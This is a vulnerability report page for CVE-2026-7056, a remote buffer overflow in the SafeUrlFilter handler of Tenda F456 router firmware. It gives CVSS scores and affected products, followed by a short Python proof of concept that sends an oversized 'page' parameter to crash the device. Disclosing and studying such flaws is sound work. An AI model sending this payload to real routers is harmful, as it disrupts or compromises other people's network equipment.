Security Vulnerability Report
中文
CVE-2026-7056 CVSS 8.8 HIGH

CVE-2026-7056

Published: 2026-04-26 22:17:33
Last Modified: 2026-04-29 22:18:32

Description

A vulnerability was detected in Tenda F456 1.0.0.5. Impacted is the function fromSafeUrlFilter of the file /goform/SafeUrlFilter of the component httpd. The manipulation of the argument page results in buffer overflow. The attack may be performed from remote. The exploit is now public and may be used.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:f456_firmware:1.0.0.5:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:f456:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda F456 1.0.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target IP address of the vulnerable Tenda F456 router target_ip = "192.168.0.1" url = f"http://{target_ip}/goform/SafeUrlFilter" # Payload to trigger the buffer overflow in the 'page' parameter # Sending a large string of 'A's to overwrite the return address payload = { "page": "A" * 1000 } try: print(f"Sending exploit payload to {url}...") response = requests.post(url, data=payload, timeout=5) # Check if the device responded or crashed (no response usually means crash) if response.status_code == 200: print("Request sent, check device status for potential exploitation.") else: print(f"Received status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Connection error (device likely crashed): {e}")

References

Raw JSON Data

JSON
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